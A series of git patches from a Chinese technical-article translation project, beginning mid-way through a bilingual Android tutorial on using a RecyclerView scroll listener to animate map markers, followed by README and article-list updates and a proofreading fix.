+如我们所见，此回调包含一个传入的参数 RecyclerView，还有整数型参数 dx 和 dy。“dx” 是横移量，“dy”是纵移量。在本项目中，我们只对 recycleview 参数感兴趣.
+
 ## First idea ##
 
+## 第一个想法 ##
+
 Okay, so we have OnScrollListener class with *onScrolled* method, there can’t be anything tricky right? We will check if view is in the center and then just notify the marker to animate itself. Easy? Of course it’s easy, but it doesn’t work 🙂 Look again on the animation. The first item and the last item will never reach the center of the RecyclerView!
 
+好吧，既然我们已经有了含有 **onScrolled** 方法的 OnScrollListener 类，那就不复杂了吧？我们需要判断某个 RecycleView 的 item 是否处于正中心，如果是的话就通知对应的标记闪烁。简单不？确实很简单，但是不管用 🙂。再看一下动画，第一个 item 和最后一个 item 永远不会到达 RecycleView 的中心。
+
 ## Second idea ##
 
+## 第二个想法
+
 What we need to do? The point where the markers are notified must move across the RecyclerView. So the start position of this point should be in the center of the first item, and the last position should be in the center of the last item. We’ll do some math to calculate points position where corresponding marker should be animated.
 
+该怎么做呢？触发标记闪烁的触发点是随着 RecyclerView 的滑动而移动的。所以这个触发点的起始位置应该在第一个 item 的中心，最终位置应该在最后一个 item 的中心。我们需要做些数学计算来判断触发点和闪烁标记的关联。
+
 Will it work?
+管用吗？
 
 Of course not 🙂 *onScrolled* method doesn’t invoke for every pixel. If we scroll our RecyclerView fast, we will receive only few callbacks. So what should we do?
+还是不管用 🙂。 **onScrolle** 方法不是每一个像素都被触发的。如果我们滑动 RecycleView 的速度太快，收到的回调就很少。那么应该怎么办呢？
 
 ## Third idea ##
 
+##　第三个想法
+
 Easy. We can’t have the moving point, because it’s unlikely that it will cover with “offset” parameter. We have to move the “range” which will notify marker when it covers f.e. 70% of the RecyclerView’s child. So think about it as a moving rectangle from left to right. Let’s look at the implementation:
 
+很简单。既然不能计算移动的触发点 —— 因为看起来它不会包含“偏移量”的参数，那就移动“范围”。当该范围覆盖比如说 70% 的 RecycleView 子布局时，触发标记的闪烁。不妨把它想想成一个从左至右移动的矩形。让我们看看实现吧：
+
 ```
 Java
 
-publicclassHorizontalRecyclerViewScrollListener extendsRecyclerView.OnScrollListener{
+public class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollListener{
 
-    privatestaticfinalintOFFSET_RANGE=50;
+    private static final int OFFSET_RANGE = 50;
 
-    privatestaticfinaldoubleCOVER_FACTOR=0.7;
+    private static final double COVER_FACTOR = 0.7;
 
  
 
-    privateint[]itemBounds=null;
+    private int[] itemBounds = null;
 
-    privatefinalOnItemCoverListener listener;
+    private final OnItemCoverListener listener;
 
  
 
-    publicHorizontalRecyclerViewScrollListener(finalOnItemCoverListener listener){
+    public HorizontalRecyclerViewScrollListener(final OnItemCoverListener listener){
 
         this.listener=listener;
 
@@ -111,15 +166,17 @@ publicclassHorizontalRecyclerViewScrollListener extendsRecyclerView.OnScrollList
 
     @Override
 
-    publicvoidonScrolled(finalRecyclerView recyclerView,finalintdx,finalintdy){
+    public void onScrolled(final RecyclerView recyclerView,final int dx,final int dy){
 
         super.onScrolled(recyclerView,dx,dy);
 
-        if(itemBounds==null)fillItemBounds(recyclerView.getAdapter().getItemCount(),recyclerView);
+        if(itemBounds == null)
+            fillItemBounds(recyclerView.getAdapter().getItemCount(),recyclerView);
 
-        for(inti=0;i<itemBounds.length;i++){
+        for(int i=0;i<itemBounds.length;i++){
 
-            if(isInChildItemsRange(recyclerView.computeHorizontalScrollOffset(),itemBounds[i],OFFSET_RANGE))listener.onItemCover(i);
+            if(isInChildItemsRange(recyclerView.computeHorizontalScrollOffset(),itemBounds[i],OFFSET_RANGE))
+                listener.onItemCover(i);
 
         }
 
@@ -127,11 +184,11 @@ publicclassHorizontalRecyclerViewScrollListener extendsRecyclerView.OnScrollList
 
  
 
-    privatevoidfillItemBounds(finalintitemsCount,finalRecyclerView recyclerView){
+    private void fillItemBounds(final int itemsCount,final RecyclerView recyclerView){
 
-        itemBounds=newint[itemsCount];
+        itemBounds=new int[itemsCount];
 
-        intchildWidth=(recyclerView.computeHorizontalScrollRange()-recyclerView.computeHorizontalScrollExtent())/itemsCount;
+        int childWidth=(recyclerView.computeHorizontalScrollRange()-recyclerView.computeHorizontalScrollExtent())/itemsCount;
 
         for(inti=0;i<itemsCount;i++){
 
@@ -143,21 +200,21 @@ publicclassHorizontalRecyclerViewScrollListener extendsRecyclerView.OnScrollList
 
  
 
-    privatebooleanisInChildItemsRange(finalintoffset,finalintitemBound,finalintrange){
+    private boolean isInChildItemsRange(final int offset,final int itemBound,final int range){
 
-        intrangeMin=itemBound-range;
+        int rangeMin=itemBound-range;
 
-        intrangeMax=itemBound+range;
+        int rangeMax=itemBound+range;
 
-        return(Math.min(rangeMin,rangeMax)<=offset)&&(Math.max(rangeMin,rangeMax)>=offset);
+        return (Math.min(rangeMin,rangeMax)<=offset) && (Math.max(rangeMin,rangeMax)>=offset);
 
     }
 
  
 
-    publicinterfaceOnItemCoverListener{
+    public interface OnItemCoverListener{
 
-        voidonItemCover(finalintposition);
+        void onItemCover(final int position);
 
     }
 
@@ -166,35 +223,45 @@ publicclassHorizontalRecyclerViewScrollListener extendsRecyclerView.OnScrollList
  
 First of all, we don’t want to make Fragment/Activity messy, so we want to extend RecyclerView.OnScrollListener class and override necessary method. Via the constructor we pass a listener, whose method *onItemCover* is invoked when the RecyclerView is in the child’s range. In the *onScrolled* method we call *fillItemBounds* method if we haven’t done it yet, and we iterate through all of the bounds to check if the recyclerView’s item is covered with corresponding bounds.
 
+首先，我们不希望新代码和 Fragment/Activity 混到一起，因此继承 RecyclerView.OnScrollListener 的类并重写必要的方法。在构造函数中传一个 listener 进去，当 RecycleView 的 item 的范围符合时条件时就调用该 listener 的 **onItemCover** 方法。在 **onScrolled** 方法中，如果 itemBounds 为空我们可以调用 **fillItemBounds** 进行初始化。否则循环判断所有的边距，判断 RecycleView 的 item 是否被指定的范围覆盖。
+
 The method *fillItemBounds* creates new integer’s table for every item in the RecyclerView. Next it calculates childWidth (RecyclerView’s item width). In the last part it fills the table with “item bounds” – actually, these are the “center” points which will be used to calculate if the RecyclerView is in child’s range.
 
+方法 **fillItemBounds** 以 RecyclerView 的 item 个数为长度创建了一个整数数组。接下来它计算了子布局的宽度（也就是 RecyclerView 的 item 的宽度）。在最后它用“item 的范围”给数组赋值 —— 事实上，这些就是用来计算 RecycleView 是否处于子布局内的“中心”点。
+
 When *onScrolled* is invoked, we iterate through all of RecyclerView’s children and we check if the position *isInChildItemsRange.* This method is actually our “rectangle” which we move along the RecyclerView. This method takes the *itemBound* (the “center” point we calculated store in *itemBounds* table), the current offset and calculates if they overlap each other. If so, the *onItemCover* method on the OnItemCoverListener is called, where the corresponding position is passed. With this argument we can get the corresponding Marker and animate it.
 
+当调用 **onScrolled** 方法时，我们通过 **isInChildItemsRange** 循环判断 RecycleView item 的范围。该方法实际上就是当我们移动 RecycleView  时候的“矩形”。该方法计算 **item 的区域**(也就是我们计算并保存在 **itemBounds**里的中心点)与当前的偏移量是否重叠。如果符合条件的话，OnItemCoverListener 会调用 **onItemCover** 方法，传递指定的位置（position） 。通过此参数，我们就可以拿到判断当前的地图标记是哪个，让它进行闪烁。
+
 ```
     //Implementation of the HorizontalRecyclerViewScrollListener
+    // HorizontalRecyclerViewScrollListener 的具体实现
 
     ...
 
-    recyclerView.addOnScrollListener(newHorizontalRecyclerViewScrollListener(this));
+    recyclerView.addOnScrollListener(new HorizontalRecyclerViewScrollListener(this));
 
     }
 
  
 
     //OnItemCoverListener method implementation
+    // 实现 OnItemCoverListener 的方法
 
     @Override
 
-    publicvoidonItemCover(finalintposition){
+    public void onItemCover(final int position){
 
-        mapOverlayLayout.showMarker(position);// notify Marker here
+        mapOverlayLayout.showMarker(position);// 在此处刷新标记
 
     }
 
     
     //PulseOverlayLayout - see the 2nd article from the series
+    
+    //PulseOverlayLayout - 参见系列的第二篇
 
-    publicvoidshowMarker(finalintposition){
+    public void showMarker(final int position){
 
         ((PulseMarkerView)markersList.get(position)).pulse();
 
@@ -202,8 +269,10 @@ When *onScrolled* is invoked, we iterate through all of RecyclerView’s childre
 
   
     //PulseMarkerView - see the 2nd article from the series
+    
+        //PulseOverlayLayout - 参见系列的第二篇 
 
-    publicvoidpulse(){
+    public void pulse(){
 
         startAnimation(scaleAnimation);
 
@@ -212,14 +281,20 @@ When *onScrolled* is invoked, we iterate through all of RecyclerView’s childre
 
 And there is the effect:
 
+效果如下
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/markers_scaling.gif?x77083)
 
 # Conclusion #
 
 As we can see, we have some great tools from Android Framework, but in some cases we also have to think about some implementations to make everything work as we expect. That wasn’t so clear an obvious in the first place, but somehow we found the solution 😉
 
+如我们所见，Android Framework 中有一些了不起的工具，但是在很多情况下还是需要思考怎么调用才能把事情按我们所想的实现。最开始的时候还不是很明确，但是现在我们已经找到解决办法了 😉。
+
 Thanks for reading! The last part will be published on Tuesday 4.04. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
 
+多谢阅读！最后一篇会在星期二 4.04 发布。如果有疑问的话欢迎评论，如果觉得有用的话一定要分享哟！
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 2013db1ff6809861a92a5f17fd9090f5f0c65435 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 11 May 2017 00:37:03 +0800
Subject: [PATCH 418/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=93=AA=E4=BA=9B?=
 =?UTF-8?q?=E9=A1=B9=E7=9B=AE=E9=9C=80=E8=A6=81=20React=EF=BC=9F=E9=83=BD?=
 =?UTF-8?q?=E9=9C=80=E8=A6=81=EF=BC=81=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index f7c7c206494..d72113d143b 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [485](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [486](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
-* [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 20de34b5cb1..0b2a03ba139 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)

From 72eb82b9c83d097e48cf1969ea9d9d0e029e471d Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 11 May 2017 00:43:30 +0800
Subject: [PATCH 419/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E6=88=91=E6=98=AF?=
 =?UTF-8?q?=E5=A6=82=E4=BD=95=E6=89=BE=E5=9B=9E=20Reddit=20=E5=AF=86?=
 =?UTF-8?q?=E7=A0=81=E7=9A=84=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 10 +++++-----
 backend.md |  1 +
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/README.md b/README.md
index d72113d143b..b1c32411118 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [486](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [487](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
-* [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn)翻译)
-* [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)翻译)
-* [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)
-* [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
+* [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
+* [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
+* [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
+* [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index ad3cb698260..85c38d471e7 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
 * [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn)翻译)
 * [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)翻译)
 * [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)

From 9c98493559397a4c30aa34cad19eaad5d781e839 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 11 May 2017 00:49:52 +0800
Subject: [PATCH 420/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=89=8D=E7=AB=AF?=
 =?UTF-8?q?=E8=B0=83=E8=AF=95=E6=8A=80=E5=B7=A7=E4=B8=8E=E8=AF=80=E7=AA=8D?=
 =?UTF-8?q?=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index b1c32411118..c2adb6f3582 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [487](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [488](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
-* [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 0b2a03ba139..418d8af97c3 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)

From 062cf0cf1e1063cad992e1dbc9c54d1f8053f294 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 11 May 2017 00:59:24 +0800
Subject: [PATCH 421/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=87=BD=E6=95=B0?=
 =?UTF-8?q?=E5=BC=8F=E6=8E=A5=E5=8F=A3=E3=80=81=E9=BB=98=E8=AE=A4=E6=96=B9?=
 =?UTF-8?q?=E6=B3=95=E3=80=81=E7=BA=AF=E5=87=BD=E6=95=B0=E3=80=81=E5=87=BD?=
 =?UTF-8?q?=E6=95=B0=E7=9A=84=E5=89=AF=E4=BD=9C=E7=94=A8=E3=80=81=E9=AB=98?=
 =?UTF-8?q?=E9=98=B6=E5=87=BD=E6=95=B0=E3=80=81=E5=8F=AF=E5=8F=98=E7=9A=84?=
 =?UTF-8?q?=E5=92=8C=E4=B8=8D=E5=8F=AF=E5=8F=98=E7=9A=84=E3=80=81=E5=87=BD?=
 =?UTF-8?q?=E6=95=B0=E5=BC=8F=E7=BC=96=E7=A8=8B=E5=92=8C=20Lambda=20?=
 =?UTF-8?q?=E8=A1=A8=E8=BE=BE=E5=BC=8F=20-=20=E5=93=8D=E5=BA=94=E5=BC=8F?=
 =?UTF-8?q?=E7=BC=96=E7=A8=8B=20=EF=BC=BBAndroid=20RxJava=202=EF=BC=BD?=
 =?UTF-8?q?=EF=BC=88=E8=BF=99=E5=88=B0=E5=BA=95=E6=98=AF=E4=BB=80=E4=B9=88?=
 =?UTF-8?q?=EF=BC=89=E7=AC=AC=E4=B8=89=E9=83=A8=E5=88=86=20=E7=9A=84?=
 =?UTF-8?q?=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 android.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index c2adb6f3582..98e57343ead 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [488](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [489](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -20,10 +20,10 @@
 
 ## Android
 
+* [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
 * [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
 * [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
-* [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 
diff --git a/android.md b/android.md
index d949c54e525..31bb223e525 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
 * [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
 * [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)

From c475f4125bf38d90a0488992b67937654e3f2143 Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
Date: Thu, 11 May 2017 10:41:28 +0200
Subject: [PATCH 422/638] =?UTF-8?q?(fix):=20=E6=A0=A1=E5=AF=B9=E4=BF=AE?=
 =?UTF-8?q?=E6=AD=A3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/how-to-pretend-youre-a-great-designer.md | 40 +++++++++----------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/TODO/how-to-pretend-youre-a-great-designer.md b/TODO/how-to-pretend-youre-a-great-designer.md
index 753892d29c9..f731789b699 100644
--- a/TODO/how-to-pretend-youre-a-great-designer.md
+++ b/TODO/how-to-pretend-youre-a-great-designer.md
@@ -1,22 +1,22 @@
 > * 原文地址：[How to pretend you’re a great designer](https://thedesignteam.io/how-to-pretend-youre-a-great-designer-3625de90d79f)
 > * 原文作者：[Pablo Stanley](https://thedesignteam.io/@pablostanley?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：[Changkun Ou](https://changkun.us/)
-> * 校对者：
+> * 译者：[Changkun Ou](https://github.com/changkun)
+> * 校对者：[ylq167](https://github.com/ylq167)
 
-# 设计师装逼指南 #
+# 设计师装腔指南 #
 
 ## 假装成为行业思想领袖的经验和技巧 ##
 
 ![](https://cdn-images-1.medium.com/max/1000/1*8ted6GIeOq2hxnr9cxwtMw.gif)
 
-> Gabrielle 将使用『喜悦』来解释全部的设计，直到你的瞳孔爆炸。
+> Gabrielle 将使用「喜悦」来解释全部的设计，直到你的瞳孔爆炸。
 
-### **使用『喜悦』来分散注意力** ###
+### **使用「喜悦」来分散注意力** ###
 
